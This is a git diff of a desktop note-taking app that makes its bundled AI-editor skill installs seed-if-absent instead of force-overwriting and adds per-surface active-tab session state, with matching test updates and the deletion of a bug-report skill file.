- expect(readFileSync(join(central, 'SKILL.md'), 'utf8')).toContain('v-new');
- // stale files inside the dir must be removed before cpSync (replaceDir contract)
- expect(existsSync(join(central, 'orphan.md'))).toBe(false);
- expect(existsSync(join(central, 'extra.md'))).toBe(true);
+ // Present → skipped-present: existing content + files are preserved, and the
+ // bundle's extra files are NOT injected. Updates flow through skills.sh.
+ expect(readFileSync(join(central, 'SKILL.md'), 'utf8')).toContain('v-old');
+ expect(existsSync(join(central, 'orphan.md'))).toBe(true);
+ expect(existsSync(join(central, 'extra.md'))).toBe(false);
+ if (r.status === 'done') {
+ expect(r.entries.find((e) => e.kind === 'central')?.status).toBe('skipped-present');
+ }
});
test('per-host write happens only when the host dir exists; missing host is skipped-host-absent', async () => {
@@ -344,7 +348,7 @@ describe('reclaimUserSkillsOnLaunch', () => {
).toHaveLength(1);
});
- test('per-host overwrite when SKILL.md already exists (force-write)', async () => {
+ test('seed-if-absent: existing per-host SKILL.md is left untouched (no force-write)', async () => {
const home = makeHome();
const dest = join(home, '.claude', 'skills', 'open-knowledge-discovery');
mkdirSync(dest, { recursive: true });
@@ -361,9 +365,11 @@ describe('reclaimUserSkillsOnLaunch', () => {
expect(r.status).toBe('done');
if (r.status === 'done') {
const claude = r.entries.find((e) => e.kind === 'host' && e.editorId === 'claude');
- expect(claude?.status).toBe('overwritten');
+ expect(claude?.status).toBe('skipped-present');
}
- expect(readFileSync(join(dest, 'SKILL.md'), 'utf8')).toContain('v-new');
+ // Existing content is preserved — updates flow through the manual skills.sh
+ // path, not this launch hook.
+ expect(readFileSync(join(dest, 'SKILL.md'), 'utf8')).toContain('v-old');
});
test('pre-split open-knowledge dirs are removed at every host before the discovery bundle lands', async () => {
@@ -544,7 +550,7 @@ describe('reclaimUserSkillsOnLaunch — per-bundle opt-in gate', () => {
deps,
});
expect(r.status).toBe('done');
- // Force-written (grandfathered install stays) + decision materialized.
+ // Grandfathered install stays (seed-if-absent leaves it) + decision materialized.
expect(existsSync(join(home, ...DISCOVERY_DIR, 'SKILL.md'))).toBe(true);
expect(deps.decisionWrites).toEqual([
{ bundleName: 'open-knowledge-discovery', enabled: true },
@@ -554,9 +560,11 @@ describe('reclaimUserSkillsOnLaunch — per-bundle opt-in gate', () => {
test('mixed decision: declined bundle is removed while the enabled bundle installs', async () => {
const home = makeHome();
- // Seed both bundles on disk, then decline ONLY write-skill.
- for (const name of ['open-knowledge-discovery', 'open-knowledge-write-skill']) {
- const dir = join(home, '.agents', 'skills', name);
+ // Seed only write-skill on disk (the one being declined+removed). Discovery
+ // is absent so seed-if-absent freshly writes it → an install event fires;
+ // a pre-present discovery would be a no-op under seed-if-absent.
+ {
+ const dir = join(home, '.agents', 'skills', 'open-knowledge-write-skill');
mkdirSync(dir, { recursive: true });
writeFileSync(join(dir, 'SKILL.md'), 'preexisting');
}
@@ -624,7 +632,7 @@ describe('reclaimProjectSkillsOnProjectOpen', () => {
expect(existsSync(join(projectDir, '.agents'))).toBe(false);
});
- test('codex project skill at .codex/skills/open-knowledge is reclaimed when present', async () => {
+ test('codex project skill at .codex/skills/open-knowledge is left present, not overwritten', async () => {
const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));
cleanupPaths.push(projectDir);
const codexSkill = join(projectDir, '.codex', 'skills', 'open-knowledge');
@@ -641,13 +649,13 @@ describe('reclaimProjectSkillsOnProjectOpen', () => {
expect(r.status).toBe('done');
if (r.status === 'done') {
const codex = r.entries.find((e) => e.editorId === 'codex');
- expect(codex?.status).toBe('reclaimed');
+ expect(codex?.status).toBe('present');
}
- expect(readFileSync(join(codexSkill, 'SKILL.md'), 'utf8')).toContain('v-new');
+ expect(readFileSync(join(codexSkill, 'SKILL.md'), 'utf8')).toContain('v-old');
expect(existsSync(join(projectDir, '.claude'))).toBe(false);
});
- test('existing SKILL.md is reclaimed with latest content', async () => {
+ test('seed-if-absent: existing project SKILL.md keeps its content', async () => {
const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));
cleanupPaths.push(projectDir);
const claudeSkill = join(projectDir, '.claude', 'skills', 'open-knowledge');
@@ -664,9 +672,9 @@ describe('reclaimProjectSkillsOnProjectOpen', () => {
expect(r.status).toBe('done');
if (r.status === 'done') {
const claude = r.entries.find((e) => e.editorId === 'claude');
- expect(claude?.status).toBe('reclaimed');
+ expect(claude?.status).toBe('present');
}
- expect(readFileSync(join(claudeSkill, 'SKILL.md'), 'utf8')).toContain('v-new');
+ expect(readFileSync(join(claudeSkill, 'SKILL.md'), 'utf8')).toContain('v-old');
// Other host stayed no-token.
expect(existsSync(join(projectDir, '.cursor'))).toBe(false);
});
@@ -674,22 +682,21 @@ describe('reclaimProjectSkillsOnProjectOpen', () => {
test('a host whose replaceDir throws is reported failed, not crashed', async () => {
const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));
cleanupPaths.push(projectDir);
- const claudeSkill = join(projectDir, '.claude', 'skills', 'open-knowledge');
- mkdirSync(claudeSkill, { recursive: true });
- writeFileSync(join(claudeSkill, 'SKILL.md'), '---\nname: open-knowledge\n---\n# v-old\n');
const r = await reclaimProjectSkillsOnProjectOpen({
projectDir,
executablePath: EXE,
isPackaged: true,
platform: 'darwin',
+ createIfWired: true,
deps: { resolveBundledSkillDir: () => setupBundle() },
- // existsSync:true makes every host look reclaim-eligible; the throwing
- // mkdirSync forces replaceDir to fail for each one.
+ // No SKILL.md on disk (existsSync false for skill files) but every host's
+ // config reads back the OK marker → the create path fires for each; the
+ // throwing mkdirSync then forces replaceDir to fail.
fs: {
- existsSync: () => true,
+ existsSync: (p: string) => !String(p).endsWith('SKILL.md'),
isDirectory: () => false,
readdirSync: () => [],
- readFileSync: () => Buffer.from(''),
+ readFileSync: () => Buffer.from(OK_WIRED_MCP_JSON),
writeFileSync: () => {
throw new Error('EACCES: permission denied');
},
@@ -870,7 +877,7 @@ describe('reclaimProjectSkillsOnProjectOpen — createIfWired (managed heal path
expect(existsSync(join(projectDir, '.claude'))).toBe(false);
});
- test('existing SKILL.md is refreshed (reclaimed), not re-created, even when wired', async () => {
+ test('existing SKILL.md is left present even when wired (never re-created)', async () => {
const projectDir = mkdtempSync(join(tmpdir(), 'ok-proj-'));
cleanupPaths.push(projectDir);
const claudeSkill = join(projectDir, '.claude', 'skills', 'open-knowledge');
@@ -887,9 +894,9 @@ describe('reclaimProjectSkillsOnProjectOpen — createIfWired (managed heal path
});
expect(r.status).toBe('done');
if (r.status === 'done') {
- expect(r.entries.find((e) => e.editorId === 'claude')?.status).toBe('reclaimed');
+ expect(r.entries.find((e) => e.editorId === 'claude')?.status).toBe('present');
}
- expect(readFileSync(join(claudeSkill, 'SKILL.md'), 'utf8')).toContain('v-new');
+ expect(readFileSync(join(claudeSkill, 'SKILL.md'), 'utf8')).toContain('v-old');
});
test('refuses to create through a host-dir symlink escaping the project', async () => {
diff --git a/packages/desktop/src/main/skill-reclaim.ts b/packages/desktop/src/main/skill-reclaim.ts
index 2efec83dc..df38f13e1 100644
--- a/packages/desktop/src/main/skill-reclaim.ts
+++ b/packages/desktop/src/main/skill-reclaim.ts
@@ -30,10 +30,10 @@
*
* Project-scope variant: same primitive, scoped to `<projectDir>/.<host>/
* skills/open-knowledge/` — the rich `project` bundle keeps `name:
- * open-knowledge` so the dir name is unchanged. Per-host gate: always refresh
- * a host whose `SKILL.md` already exists; additionally, when `createIfWired`
- * is set (managed-project opens only), CREATE the skill for any host whose
- * project MCP config already carries the OK marker. This heals the cohort of
+ * open-knowledge` so the dir name is unchanged. Seed-if-absent: a host whose
+ * `SKILL.md` already exists is left untouched; when `createIfWired` is set
+ * (managed-project opens only), CREATE the skill for any host whose project MCP
+ * config already carries the OK marker but has none. This heals the cohort of
* managed projects onboarded before the project-skill writer existed — they
* have OK MCP wiring but no skill, and the old no-create gate never fixed
* them. Non-OK folders (no marker) and greenfield hosts still get nothing.
@@ -187,11 +187,18 @@ function copyDirContents(sourceDir: string, destDir: string, fs: SkillFsOps): vo
* Failures are logged + swallowed.
*/
function removeLegacyUserSkillDirs(home: string, fs: SkillFsOps, logger: SkillReclaimLogger): void {
- // Sweep each install host PLUS `.agents` — the central store's parent, and
- // codex's former home before it moved to `.codex`. A pre-split
- // `~/.agents/skills/open-knowledge` (the central store's old name) must
- // still be cleaned even though `.agents` is no longer a per-host install dir.
- const legacyHostDirs = [...HOSTS_WITH_USER_SKILL_DIR.map((h) => h.hostDir), '.agents'];
+ // Sweep each install host PLUS `.agents` (the central store's parent /
+ // codex's former home) PLUS the hosts the external `skills` CLI's
+ // `--agent '*'` fanned to that were never OK install targets — a survivor
+ // in ANY user root now lists as a phantom global skill (the in-place scan
+ // no longer name-filters built-ins; `.pi/agent/skills` shipped one).
+ const legacyHostDirs = [
+ ...HOSTS_WITH_USER_SKILL_DIR.map((h) => h.hostDir),
+ '.agents',
+ '.pi/agent',
+ '.copilot',
+ '.gemini',
+ ];
for (const hostDir of legacyHostDirs) {
const legacyDir = join(home, hostDir, 'skills', LEGACY_SKILL_DIR_NAME);
if (!fs.existsSync(legacyDir)) continue;
@@ -216,13 +223,18 @@ function removeLegacyUserSkillDirs(home: string, fs: SkillFsOps, logger: SkillRe
// ---------------------------------------------------------------------------
type UserSkillReclaimEntry =
- | { kind: 'central'; path: string; status: 'written' | 'overwritten' | 'failed'; error?: string }
+ | {
+ kind: 'central';
+ path: string;
+ status: 'written' | 'skipped-present' | 'failed';
+ error?: string;
+ }
| {
kind: 'host';
hostDir: string;
editorId: string;
path: string;
- status: 'written' | 'overwritten' | 'skipped-host-absent' | 'failed';
+ status: 'written' | 'skipped-present' | 'skipped-host-absent' | 'failed';
error?: string;
};
@@ -296,24 +308,28 @@ function installUserBundleToHostDirs(
): UserSkillReclaimEntry[] {
const entries: UserSkillReclaimEntry[] = [];
const centralDest = join(home, '.agents', 'skills', bundleDirName);
- const centralExistedBefore = fs.existsSync(centralDest);
- try {
- replaceDir(sourceDir, centralDest, fs);
- entries.push({
- kind: 'central',
- path: centralDest,
- status: centralExistedBefore ? 'overwritten' : 'written',
- });
- logger.event({
- event: 'user-skill-reclaim-central-written',
- path: centralDest,
- preexisting: centralExistedBefore,
- version,
- });
- } catch (err) {
- const error = err instanceof Error ? err.message : String(err);
- entries.push({ kind: 'central', path: centralDest, status: 'failed', error });
- logger.event({ event: 'user-skill-reclaim-central-failed', path: centralDest, error });
+ // SEED-IF-ABSENT: the reclaim guarantees the
+ // built-in is PRESENT (offline-safe), but never OVERWRITES an existing copy —
+ // that copy may be a user-applied skills.sh update, and force-refreshing it
+ // would clobber the update + churn a version string every launch. Updates now
+ // flow through the manual "update available" path, not this launch hook.
+ if (fs.existsSync(centralDest)) {
+ entries.push({ kind: 'central', path: centralDest, status: 'skipped-present' });
+ } else {
+ try {
+ replaceDir(sourceDir, centralDest, fs);
+ entries.push({ kind: 'central', path: centralDest, status: 'written' });
+ logger.event({
+ event: 'user-skill-reclaim-central-written',
+ path: centralDest,
+ preexisting: false,
+ version,
+ });
+ } catch (err) {
+ const error = err instanceof Error ? err.message : String(err);
+ entries.push({ kind: 'central', path: centralDest, status: 'failed', error });
+ logger.event({ event: 'user-skill-reclaim-central-failed', path: centralDest, error });
+ }
}
for (const host of HOSTS_WITH_USER_SKILL_DIR) {
@@ -336,7 +352,18 @@ function installUserBundleToHostDirs(
});
continue;
}
- const existedBefore = fs.existsSync(hostDest);
+ // Seed-if-absent per host too: an existing host copy is left as-is (it may
+ // be a user-applied update or a symlink they chose).
+ if (fs.existsSync(hostDest)) {
+ entries.push({
+ kind: 'host',
+ hostDir: host.hostDir,
+ editorId: host.editorId,
+ path: hostDest,
+ status: 'skipped-present',
+ });
+ continue;
+ }
try {
replaceDir(sourceDir, hostDest, fs);
entries.push({
@@ -344,13 +371,13 @@ function installUserBundleToHostDirs(
hostDir: host.hostDir,
editorId: host.editorId,
path: hostDest,
- status: existedBefore ? 'overwritten' : 'written',
+ status: 'written',
});
logger.event({
event: 'user-skill-reclaim-host-written',
editorId: host.editorId,
path: hostDest,
- preexisting: existedBefore,
+ preexisting: false,
version,
});
} catch (err) {
@@ -375,11 +402,12 @@ function installUserBundleToHostDirs(
}
/**
- * Force-write the bundled SKILL into the user-level central store and into
- * every detected per-host directory. Always overwrites — no version-skip
- * gate. Records progress to `~/.ok/skill-state.yml` and the JSONL event log
- * even on partial failure (state advances on the central store write; per-
- * host failures don't roll back).
+ * SEED-IF-ABSENT the bundled SKILL into the user-level central store and into
+ * every detected per-host directory: write ONLY when the destination dir is
+ * absent, never overwrite an existing (possibly user-updated) copy. Updates to
+ * the built-ins flow through the normal skills.sh "update available" path, not
+ * this launch hook. Records progress to `~/.ok/skill-state.yml` and the JSONL
+ * event log even on partial failure.
*/
export async function reclaimUserSkillsOnLaunch(
opts: ReclaimUserSkillsOpts,
@@ -513,8 +541,8 @@ export async function reclaimUserSkillsOnLaunch(
return { status: 'skipped', reason: 'all-bundles-declined' };
}
- // Force-install each enabled user-global bundle (discovery + write-skill)
- // into the central store + per-host dirs, each under its own name.
+ // Seed each enabled user-global bundle (discovery + write-skill) into the
+ // central store + per-host dirs (if-absent), each under its own name.
const entries: UserSkillReclaimEntry[] = [];
for (const bundle of gatedBundles) {
entries.push(
@@ -522,9 +550,8 @@ export async function reclaimUserSkillsOnLaunch(
);
}
- const anyWriteSucceeded = entries.some(
- (e) => e.status === 'written' || e.status === 'overwritten',
- );
+ const anyWriteSucceeded = entries.some((e) => e.status === 'written');
+ const anyFailed = entries.some((e) => e.status === 'failed');
if (anyWriteSucceeded) {
let stateWriteError: string | null = null;
try {
@@ -555,7 +582,7 @@ export async function reclaimUserSkillsOnLaunch(
})
.catch(() => {});
}
- } else {
+ } else if (anyFailed) {
await deps
.recordSkillInstallEvent({
ts: nowDate().toISOString(),
@@ -567,6 +594,8 @@ export async function reclaimUserSkillsOnLaunch(
})
.catch(() => {});
}
+ // else: seed-if-absent no-op — every target was already present. Nothing was
+ // written and nothing failed, so no state advance and no outcome event.
return { status: 'done', version, entries };
}
@@ -579,7 +608,7 @@ type ProjectSkillReclaimEntry = {
editorId: string;
hostDir: string;
path: string;
- status: 'no-token' | 'reclaimed' | 'created' | 'failed';
+ status: 'no-token' | 'present' | 'created' | 'failed';
error?: string;
};
@@ -638,12 +667,13 @@ function editorWiredForOk(configPath: string | undefined, fs: SkillFsOps): boole
}
/**
- * Project-scope SKILL reclaim. Per-host gate: write
- * `<projectDir>/.<host>/skills/open-knowledge/` when `SKILL.md` already exists
- * (refresh, always) OR — when `createIfWired` is set — when that editor's
- * project MCP config carries `OK_MCP_MARKER` (create; heals the managed
- * MCP-but-no-skill cohort). Without `createIfWired` this stays no-create:
- * greenfield / non-OK folders get nothing.
+ * Project-scope SKILL reclaim, SEED-IF-ABSENT. Per-host gate: write
+ * `<projectDir>/.<host>/skills/open-knowledge/` ONLY when `SKILL.md` is absent
+ * AND — with `createIfWired` set — that editor's project MCP config carries
+ * `OK_MCP_MARKER` (create; heals the managed MCP-but-no-skill cohort). An
+ * existing project skill is left untouched (updates flow through the manual
+ * skills.sh path, so a pulled/shared project never silently changes). Without
+ * `createIfWired` this stays no-create: greenfield / non-OK folders get nothing.
*/
export async function reclaimProjectSkillsOnProjectOpen(
opts: ReclaimProjectSkillsOpts,
@@ -688,12 +718,22 @@ export async function reclaimProjectSkillsOnProjectOpen(
const dest = join(projectDir, host.hostDir, 'skills', PROJECT_SKILL_DIR_NAME);
const skillFile = join(dest, 'SKILL.md');
const skillExists = fs.existsSync(skillFile);
+ if (skillExists) {
+ // Seed-if-absent: an existing project skill is left untouched.
+ entries.push({
+ editorId: host.editorId,
+ hostDir: host.hostDir,
+ path: dest,
+ status: 'present',
+ });
+ continue;
+ }
// Create only when explicitly enabled AND the editor is OK-wired for this
// project. The config path comes from `EDITOR_TARGETS` (single source of
- // truth); the read is skipped entirely on the refresh path.
+ // truth).
const projectConfigPath = EDITOR_TARGETS[host.editorId]?.projectConfigPath?.(projectDir);
- const wired = !skillExists && createIfWired && editorWiredForOk(projectConfigPath, fs);
- if (!skillExists && !wired) {
+ const wired = createIfWired && editorWiredForOk(projectConfigPath, fs);
+ if (!wired) {
entries.push({
editorId: host.editorId,
hostDir: host.hostDir,
@@ -710,20 +750,17 @@ export async function reclaimProjectSkillsOnProjectOpen(
try {
// Symlink-escape guard before `replaceDir`'s rmSync — a planted
// `.claude -> /etc` (or symlinked ancestor escaping projectDir) must not
- // route the recursive removal + copy through the symlink target. Matters
- // most on the create path (fresh dir), but a planted SKILL.md symlink can
- // also satisfy the refresh gate, so guard both.
+ // route the recursive removal + copy through the symlink target.
assertProjectPathSafe(dest, projectDir);
replaceDir(sourceDir, dest, fs);
- const status = skillExists ? 'reclaimed' : 'created';
entries.push({
editorId: host.editorId,
hostDir: host.hostDir,
path: dest,
- status,
+ status: 'created',
});
logger.event({
- event: skillExists ? 'project-skill-reclaim-reclaimed' : 'project-skill-reclaim-created',
+ event: 'project-skill-reclaim-created',
editorId: host.editorId,
path: dest,
});
diff --git a/packages/desktop/src/main/state-store.ts b/packages/desktop/src/main/state-store.ts
index 99ec7c547..5eaec565c 100644
--- a/packages/desktop/src/main/state-store.ts
+++ b/packages/desktop/src/main/state-store.ts
@@ -93,6 +93,8 @@ interface ProjectSessionState {
activeDocName: string | null;
/** Most recently active tab, including folder overview tabs. */
activeTabId: string | null;
+ /** Last-active tab per sidebar surface (Files vs Skills), each an open-tab id or null. */
+ activeTabByMode: { files: string | null; skills: string | null };
/** ISO-8601 timestamp of the last tab-session write. */
updatedAt: string | null;
}
@@ -332,10 +334,18 @@ function emptyProjectSessionState(): ProjectSessionState {
pinnedTabIds: [],
activeDocName: null,
activeTabId: null,
+ activeTabByMode: { files: null, skills: null },
updatedAt: null,
};
}
+/** A per-surface active-tab slot: a string that is still an open tab, else null. */
+function readModeSlot(source: unknown, key: 'files' | 'skills', openTabs: string[]): string | null {
+ if (typeof source !== 'object' || source === null) return null;
+ const value = (source as Record<string, unknown>)[key];
+ return typeof value === 'string' && openTabs.includes(value) ? value : null;
+}
+
function sanitizeStringArray(value: unknown): string[] {
if (!Array.isArray(value)) return [];
const seen = new Set<string>();
@@ -371,6 +381,12 @@ function parseProjectSessionState(raw: unknown): ProjectSessionState {
pinnedTabIds,
activeDocName,
activeTabId,
+ // Persist per-surface active as open-tab ids; the app re-validates surface
+ // membership via parseEditorTabSessionState on read.
+ activeTabByMode: {
+ files: readModeSlot(obj.activeTabByMode, 'files', openTabs),
+ skills: readModeSlot(obj.activeTabByMode, 'skills', openTabs),
+ },
updatedAt: typeof obj.updatedAt === 'string' ? obj.updatedAt : null,
};
}
diff --git a/packages/desktop/src/shared/bridge-contract.ts b/packages/desktop/src/shared/bridge-contract.ts
index 0350c2e08..fead46606 100644
--- a/packages/desktop/src/shared/bridge-contract.ts
+++ b/packages/desktop/src/shared/bridge-contract.ts
@@ -274,6 +274,7 @@ interface ProjectSessionState {
pinnedTabIds: string[];
activeDocName: string | null;
activeTabId: string | null;
+ activeTabByMode: { files: string | null; skills: string | null };
updatedAt: string | null;
}
diff --git a/packages/desktop/src/shared/ipc-channels.ts b/packages/desktop/src/shared/ipc-channels.ts
index cadb1ea7f..c0854beed 100644
--- a/packages/desktop/src/shared/ipc-channels.ts
+++ b/packages/desktop/src/shared/ipc-channels.ts
@@ -266,6 +266,7 @@ interface ProjectSessionState {
pinnedTabIds: string[];
activeDocName: string | null;
activeTabId: string | null;
+ activeTabByMode: { files: string | null; skills: string | null };
updatedAt: string | null;
}
diff --git a/packages/desktop/tests/integration/m1-smoke.test.ts b/packages/desktop/tests/integration/m1-smoke.test.ts
index 01f815296..1df853107 100644
--- a/packages/desktop/tests/integration/m1-smoke.test.ts
+++ b/packages/desktop/tests/integration/m1-smoke.test.ts
@@ -798,6 +798,7 @@ describe('M1 smoke', () => {
const desktopBridgePath = join(__dirname, '..', '..', 'src', 'shared', 'bridge-contract.ts');
const ipcChannelsPath = join(__dirname, '..', '..', 'src', 'shared', 'ipc-channels.ts');
const stateStorePath = join(__dirname, '..', '..', 'src', 'main', 'state-store.ts');
+ const coreBridgePath = join(__dirname, '..', '..', '..', 'core', 'src', 'desktop-bridge.ts');
const { readFileSync } = await import('node:fs');
const extractInterfaceFields = (src: string, interfaceName: string): Set<string> => {
@@ -860,6 +861,13 @@ describe('M1 smoke', () => {
'ProjectSessionState',
),
},
+ {
+ label: 'core/desktop-bridge.ts (ProjectSessionState)',
+ fields: extractInterfaceFields(
+ readFileSync(coreBridgePath, 'utf-8'),
+ 'ProjectSessionState',
+ ),
+ },
] as const;
for (const source of sources) {
diff --git a/packages/desktop/tests/main/menu.test.ts b/packages/desktop/tests/main/menu.test.ts
index 13114c80b..d22f1d62f 100644
--- a/packages/desktop/tests/main/menu.test.ts
+++ b/packages/desktop/tests/main/menu.test.ts
@@ -941,7 +941,7 @@ describe('buildMenuTemplate — View → Show .ok folders', () => {
});
});
-describe('buildMenuTemplate — View → Show only markdown files / Show skills section', () => {
+describe('buildMenuTemplate — View → Show only markdown files / Skills section', () => {
test('Show only markdown files renders as a checkbox, unchecked by default', () => {
const template = buildMenuTemplate(
makeDeps({ onToggleShowOnlyMarkdownFiles: vi.fn(() => {}) }),
@@ -963,29 +963,29 @@ describe('buildMenuTemplate — View → Show only markdown files / Show skills
expect(findByLabel(template, 'Show only markdown files')?.checked).toBe(true);
});
- test('Show skills section renders as a checkbox, CHECKED by default (section is default-on)', () => {
+ test('Skills section renders as a checkbox, CHECKED by default (section is default-on)', () => {
// The unwired-checked default must match the renderer's resolved config
// default (showSkillsSection ?? true) so the menu reads correctly before
// the first renderer push lands — the inverse of Show hidden files.
const template = buildMenuTemplate(makeDeps({ onToggleShowSkillsSection: vi.fn(() => {}) }));
- const item = findByLabel(template, 'Show skills section');
+ const item = findByLabel(template, 'Skills section');
expect(item).toBeDefined();
expect(item?.type).toBe('checkbox');
expect(item?.checked).toBe(true);
expect(item?.enabled).toBe(true);
});
- test('Show skills section reflects showSkillsSectionChecked', () => {
+ test('Skills section reflects showSkillsSectionChecked', () => {
const template = buildMenuTemplate(
makeDeps({ onToggleShowSkillsSection: vi.fn(() => {}), showSkillsSectionChecked: false }),
);
- expect(findByLabel(template, 'Show skills section')?.checked).toBe(false);
+ expect(findByLabel(template, 'Skills section')?.checked).toBe(false);
});
test('both DISABLED when their toggle handler is missing (unit-test default)', () => {
const template = buildMenuTemplate(makeDeps());
expect(findByLabel(template, 'Show only markdown files')?.enabled).toBe(false);
- expect(findByLabel(template, 'Show skills section')?.enabled).toBe(false);
+ expect(findByLabel(template, 'Skills section')?.enabled).toBe(false);
});
test('neither binds a keyboard accelerator (only Show hidden files carries Cmd+Shift+.)', () => {
@@ -996,7 +996,7 @@ describe('buildMenuTemplate — View → Show only markdown files / Show skills
}),
);
expect(findByLabel(template, 'Show only markdown files')?.accelerator).toBeUndefined();
- expect(findByLabel(template, 'Show skills section')?.accelerator).toBeUndefined();
+ expect(findByLabel(template, 'Skills section')?.accelerator).toBeUndefined();
});
test('clicks dispatch their toggle deps', () => {
@@ -1007,7 +1007,7 @@ describe('buildMenuTemplate — View → Show only markdown files / Show skills
);
(findByLabel(template, 'Show only markdown files')?.click as (() => void) | undefined)?.();
expect(onToggleShowOnlyMarkdownFiles).toHaveBeenCalledTimes(1);
- (findByLabel(template, 'Show skills section')?.click as (() => void) | undefined)?.();
+ (findByLabel(template, 'Skills section')?.click as (() => void) | undefined)?.();
expect(onToggleShowSkillsSection).toHaveBeenCalledTimes(1);
});
@@ -1017,11 +1017,11 @@ describe('buildMenuTemplate — View → Show only markdown files / Show skills
(findByLabel(template, 'Show only markdown files')?.click as (() => void) | undefined)?.(),
).not.toThrow();
expect(() =>
- (findByLabel(template, 'Show skills section')?.click as (() => void) | undefined)?.(),
+ (findByLabel(template, 'Skills section')?.click as (() => void) | undefined)?.(),
).not.toThrow();
});
- test('order: Show hidden files → Show .ok folders → Show only markdown files → Show skills section → expand/collapse', () => {
+ test('order: Show hidden files → Show .ok folders → Show only markdown files → Skills section → expand/collapse', () => {
// Same order as the tree-options popover Show group so every surface
// presents the visibility toggles identically.
const template = buildMenuTemplate(
@@ -1039,7 +1039,7 @@ describe('buildMenuTemplate — View → Show only markdown files / Show skills
const hiddenIdx = labels.indexOf('Show hidden files');
const okIdx = labels.indexOf('Show .ok folders');
const onlyMdIdx = labels.indexOf('Show only markdown files');
- const skillsIdx = labels.indexOf('Show skills section');
+ const skillsIdx = labels.indexOf('Skills section');
const expandIdx = labels.indexOf('Expand all');
expect(hiddenIdx).toBeGreaterThan(-1);
expect(okIdx).toBe(hiddenIdx + 1);
diff --git a/packages/desktop/tests/main/state-store.test.ts b/packages/desktop/tests/main/state-store.test.ts
index 458a62980..6dad08ba7 100644
--- a/packages/desktop/tests/main/state-store.test.ts
+++ b/packages/desktop/tests/main/state-store.test.ts
@@ -79,6 +79,7 @@ describe('state-store (recent projects + LRU)', () => {
pinnedTabIds: ['README'],
activeDocName: 'docs/guide',
activeTabId: 'docs/guide',
+ activeTabByMode: { files: null, skills: null },
updatedAt: '2026-05-06T00:00:00Z',
});
expect(getProjectSessionState(state, '/tmp/b')).toEqual({
@@ -86,6 +87,7 @@ describe('state-store (recent projects + LRU)', () => {
pinnedTabIds: [],
activeDocName: null,
activeTabId: null,
+ activeTabByMode: { files: null, skills: null },
updatedAt: null,
});
});
@@ -104,10 +106,27 @@ describe('state-store (recent projects + LRU)', () => {
pinnedTabIds: [folderTabId],
activeDocName: null,
activeTabId: folderTabId,
+ activeTabByMode: { files: null, skills: null },
updatedAt: '2026-05-06T00:00:00Z',
});
});
+ test('project session state round-trips per-surface active tabs', () => {
+ const state = setProjectSessionState(emptyState(), '/tmp/a', {
+ openTabs: ['README', 'docs/guide'],
+ pinnedTabIds: [],
+ activeDocName: 'docs/guide',
+ activeTabId: 'docs/guide',
+ // 'docs/guide' is open → kept; 'gone' is not an open tab → dropped to null.
+ activeTabByMode: { files: 'docs/guide', skills: 'gone' },
+ updatedAt: '2026-05-06T00:00:00Z',
+ });
+ expect(getProjectSessionState(state, '/tmp/a').activeTabByMode).toEqual({
+ files: 'docs/guide',
+ skills: null,
+ });
+ });
+
test('removeRecentProject drops matching session state', () => {
const withSession = setProjectSessionState(emptyState(), '/tmp/a', {
openTabs: ['README'],
@@ -122,6 +141,7 @@ describe('state-store (recent projects + LRU)', () => {
pinnedTabIds: [],
activeDocName: null,
activeTabId: null,
+ activeTabByMode: { files: null, skills: null },
updatedAt: null,
});
});
@@ -157,6 +177,7 @@ describe('state-store (recent projects + LRU)', () => {
pinnedTabIds: ['README'],
activeDocName: 'docs/guide',
activeTabId: 'docs/guide',
+ activeTabByMode: { files: null, skills: null },
updatedAt: '2026-05-06T00:00:00Z',
});
});
diff --git a/packages/server/assets/skills/bug-report/SKILL.md b/packages/server/assets/skills/bug-report/SKILL.md
deleted file mode 100644
index 1fed81fea..000000000
--- a/packages/server/assets/skills/bug-report/SKILL.md
+++ /dev/null
@@ -1,73 +0,0 @@
----
-name: open-knowledge-bug-report
-description: "Use when the user reports a problem with OpenKnowledge, asks for help debugging OK, or wants to file a bug report. This skill guides the agent to capture diagnostic information via the ok bug-report CLI command."
-compatibility: "Any MCP host (Claude Code, Cursor, Codex, Windsurf) with OpenKnowledge MCP server registered."
-metadata:
- version: "0.6.0"
- author: "Inkeep"
- repository: "https://github.com/inkeep/open-knowledge"
----
-
-# Bug Report — agent guidance
-
-When a user reports a problem with OpenKnowledge or asks for debugging help, use the `ok bug-report` command to capture a structured diagnostic bundle.
-
-## Quick path
-
-```bash
-ok bug-report --no-reveal
-```
-
-The `--no-reveal` flag suppresses the Finder reveal (use it when running as an agent — you want the file path, not a Finder window).
-
-## What the command does
-
-1. Gathers all structured log files from `~/.ok/logs/` (NDJSON format, pino)
-2. When invoked inside an OK project directory, filters logs to that project's records
-3. Collects system info: OK version, Node/Bun versions, macOS version, locale, timezone, free disk space
-4. Collects lock directory contents (server.lock, spawn-error-log) when a project context exists
-5. Extracts recent IPC error records from desktop logs
-6. Runs an auto-redaction pass over all content (home paths, API tokens, credentials are scrubbed)
-7. Writes `~/.ok/bug-reports/<timestamp>-bugreport.zip`
-8. Prints the bundle path to stdout
-
-## What's in the bundle
-
-```
-<timestamp>-bugreport.zip
-├── MANIFEST.json — what's inside, redaction audit report
-├── sysinfo.json — versions, locale, disk, build channel
-├── README.md — what's safe to share, discipline version
-├── logs/ — NDJSON log files (auto-redacted)
-├── lockdir/ — server.lock, spawn-error-log (if project)
-└── recent-ipc-errors.json — last 50 structured IPC errors
-```
-
-## Agent workflow
-
-1. Run `ok bug-report --no-reveal` in the user's project directory (or home if no project)
-2. Read the path from stdout
-3. Unzip to a temp directory: `unzip -o <path> -d /tmp/ok-diag-<timestamp>/`
-4. Read `MANIFEST.json` — check the `redactions` array (if non-empty, some content was scrubbed)
-5. Read `sysinfo.json` — check versions, disk space, build channel
-6. Grep the log files for errors: `grep '"level":50' logs/*.log | head -20` (level 50 = error in pino)
-7. Read `recent-ipc-errors.json` for IPC-layer failures
-8. Report findings to the user with actionable next steps
-
-## If the command is not available
-
-The `ok bug-report` command ships with `@inkeep/open-knowledge` >= 0.7.0. If the user's version is older:
-
-1. Check version: `ok --version`
-2. If < 0.7.0: suggest `npm install -g @inkeep/open-knowledge@latest` to update
-3. Fallback: manually inspect `~/.ok/logs/` for recent `.log` files (NDJSON format, greppable)
-
-## Privacy
-
-The bundle auto-redacts:
-- macOS home paths (`/Users/<name>/` → `~/`)
-- GitHub PAT prefixes (`ghp_`, `gho_`, `ghu_`, `ghs_`, `ghr_`)
-- AWS access keys, Anthropic tokens, OpenAI tokens
